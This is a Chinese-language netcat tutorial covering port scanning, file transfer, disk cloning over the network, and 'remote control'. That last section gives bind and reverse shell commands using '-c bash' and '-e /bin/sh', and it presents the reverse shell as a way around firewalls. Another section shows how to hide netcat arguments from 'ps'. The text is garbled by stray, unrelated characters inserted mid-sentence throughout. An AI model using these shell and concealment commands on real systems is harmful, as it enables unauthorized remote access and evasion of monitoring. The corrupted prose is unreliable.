目錄
- 基礎(chǔ)使用
- 單向偵聽
- 雙向聊天
- 日常習(xí)慣
- 拓展使用
- 正/反向域名解析
- 傳輸?件/目錄;加密傳輸
- 端口掃描蛛淋,獲取banner信息
- 遠(yuǎn)程克隆硬盤
- 遠(yuǎn)控
基礎(chǔ)使用
1.最簡單的單向使用
使用:B(客戶端) ”nc 主機名/IP 端口號/服務(wù)名"
前提:A主機打開了端口(任何對外服務(wù)的端口),B主機使用nc命令連接切平。
示例:
- nmap查看到172.16.70.140開了22端口,通常這是sshd的服務(wù)端口,nc上去看看(結(jié)果不一定準(zhǔn)確):
nc 172.16.70.140 22
SSH-2.0-OpenSSH_4.3
- 使用主機名也可以雾棺,這次我們加一個 -v 參數(shù):
nc -v g.cn 80
Connection to g.cn 80 port [tcp/http] succeeded!
- 端口號可以不用數(shù)字,用 /etc/services 里面的服務(wù)名來代替知名端口號衬浑,不是所有的系統(tǒng)自帶nc都支持:
nc dev3-140 ssh
SSH-2.0-OpenSSH_4.3
2.簡單雙向使用(chat)
A服務(wù)端:nc -lp 端口號
B客戶端:nc -nv Aip A端口號
實現(xiàn)雙向文本傳輸
3.隱藏命令行參數(shù)(培養(yǎng)日常使用習(xí)慣)
如果沒有提供命令行參數(shù)捌浩,NetCat會提示你從標(biāo)準(zhǔn)輸入來輸入命令參數(shù),然后NetCat會在內(nèi)部解析輸入工秩。用這種辦法輸入命令式參數(shù)尸饺,可以用來防止借助“ps”來查看你的命令行參數(shù)。示例:
- nc
Cmd line: -l 1234
此時我們在系統(tǒng)上用ps命令查看nc的進(jìn)程助币,是看不到nc的參數(shù)的浪听。如果我們直接在命令行寫上參數(shù),ps就能看到命令行參數(shù)了眉菱。
- nc -l 1234
// 上面命令我們一般能用ps命令查看到類似下面的信息迹栓。 - ps aux|grep nc
root 7332 0.0 0.0 1772 536 pts/4 S+ 10:38 0:00 nc -l 1234
拓展使用
1.正/反向域名解析
主機參數(shù)可以是一個名字或一個IP地址。
- -n俭缓,接受IP地址克伊,不再對計算機的名字或域名進(jìn)行解析。
- 沒有-n华坦,加上-v答毫,NetCat可進(jìn)行正/反向域名解析,并警告the all-too-common problem of mismatched name in DNS季春。這會耗費稍多一點時間,但在某些情況下會有用處消返。如载弄,你想知道某個IP的主機名,NetCat可省卻你手工查找的時間撵颊。
- A機器使用參數(shù)運行nc:
/data/bin/nc -l 1234
...
B機器連接:
nc -v dev3-168 1234
Connection to dev3-168 1234 port [tcp/search-agent] succeeded!
...
接著在B機器輸入任何字符串并按Enter鍵宇攻,甲機器都能收到。
上面dev3-168是我的域中一個機器名倡勇,-v參數(shù)和-n參數(shù)都對主機名解析逞刷。都是-v參數(shù)可以通過ip反向解析出主機名。示例:
- nc -v 172.16.70.140 1234
dev3-140.dev.cn.tlan [172.16.70.140] 1234 (?) open
2.傳輸?件/目錄
- 傳輸單個?件
A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
或反向:
A:nc -q 1 -lp 333 < a.mp4
B: nc -nv 1.1.1.1 333 > 2.mp4
- 傳輸目錄(多個文件)
原理:輸出端打包壓縮包傳輸,輸入端解包夸浅。
A:tar -cvf - dir_name | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –
或使用bzip2或者其他工具壓縮
A:tar -cvf – dir_name | bzip2 -z | nc -l 1567
B:nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
- 加密傳?件
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > file.txt
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
或:
A:nc localhost 333 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -lp 333
3.端口掃描
nc -nvz 1.1.1.1 1-65535
nc –vnzu 1.1.1.1 1-1024
默認(rèn)是TCP模式仑最,-u參數(shù)調(diào)整為udp.
z 參數(shù)告訴netcat使用0 IO,連接成功后立即關(guān)閉連接, 不進(jìn)行數(shù)據(jù)交換
v 參數(shù)指使用冗余選項(即詳細(xì)輸出)
n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名
命令會打印21到25 所有開放的端口帆喇。Banner是一個文本警医,Banner是一個你連接的服務(wù)發(fā)送給你的文本信息∨髑眨可作為基礎(chǔ)掃描预皇,Banner信息可被修改,結(jié)果不一定準(zhǔn)確婉刀。
4.遠(yuǎn)程克隆硬盤
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
dd是一個從磁盤讀取原始數(shù)據(jù)的工具吟温,我通過netcat服務(wù)器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息突颊。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū)鲁豪,我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1洋丐,sda2.等等呈昔。
5.遠(yuǎn)控(彈出shell)
正向:
A:nc -lp 333 -c bash
B:nc 1.1.1.1 333
反向(繞過防火墻):
A:nc -lp 333
B:nc 1.1.1.1 333 -c bash
? 注:Windows?戶把bash改成cmd;
6.補充說明
Nc缺乏加密和?份驗證的能?
Ncat包含于nmap?具包中
A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl
7.個別參數(shù)詳解
v顯示詳細(xì)連接信息
-v 參數(shù)可以將一些關(guān)于連接建立信息輸出到標(biāo)準(zhǔn)錯誤友绝。-v參數(shù)多出現(xiàn)幾次堤尾,則顯示的信息會更多一些。如果-v參數(shù)沒有出現(xiàn)迁客,則NetCat將默默地工作郭宝,至到出現(xiàn)錯誤為止。w設(shè)定建立鏈接時間
-w num
[root@dev3-140 opt]# nc -vvv g.cn 80 -w 1 //1秒后斷開連接
Connection to g.cn 80 port [tcp/http] succeeded!
[root@dev3-140 opt]# nc -vvv g.cn 80 -w 2 //2秒
Connection to g.cn 80 port [tcp/http] succeeded!p綁定端口
" -p 端口 " 來綁定本地端口掷漱。除了因權(quán)限限制或端口已經(jīng)使用外粘室,-p可以綁定任何端口。Root用戶可以綁定保留的1024以內(nèi)的端口卜范。如果不用-p指定端口衔统,則使用系統(tǒng)給定的未使用的端口。l作為服務(wù)器
-l 參數(shù)可以使NetCat以服務(wù)器狀態(tài)運行海雪,即偵聽模式锦爵。
nc -l -p 1234 [remote hostname] [remote port] 可以用來指定入連的主機和端口,如果申請連接的主機或端口不符指定奥裸,則會斷開連接险掀。
A(1.1.1.1):nc -l -p 333 1.1.1.2 33
B(1.1.1.2):nc 1.1.1.1 333 -p 33
- e執(zhí)行指定程序
-e 參數(shù)后面跟一可執(zhí)行程序的名稱,當(dāng)一個連接(入或出)被建立時湾宙,這個程序被運行樟氢。需要說明的是冈绊,-e后的程序不能從NetCat的命令行接收參數(shù),如果有參數(shù)要傳遞埠啃,可能需要一個腳本死宣。通常linux的發(fā)行版是不帶這個參數(shù)支持的,可以自己編譯霸妹,編譯時置-DGAPING_SECURITY_HOLE十电,則-e參數(shù)被NetCat支持。
A: nc
Cmd line: -l -p 333 1.1.1.2 33 -e /bin/sh
B:nc 1.1.1.1 -p 33
ls ---> 這是傳遞給1.1.1.1上/bin/sh的指令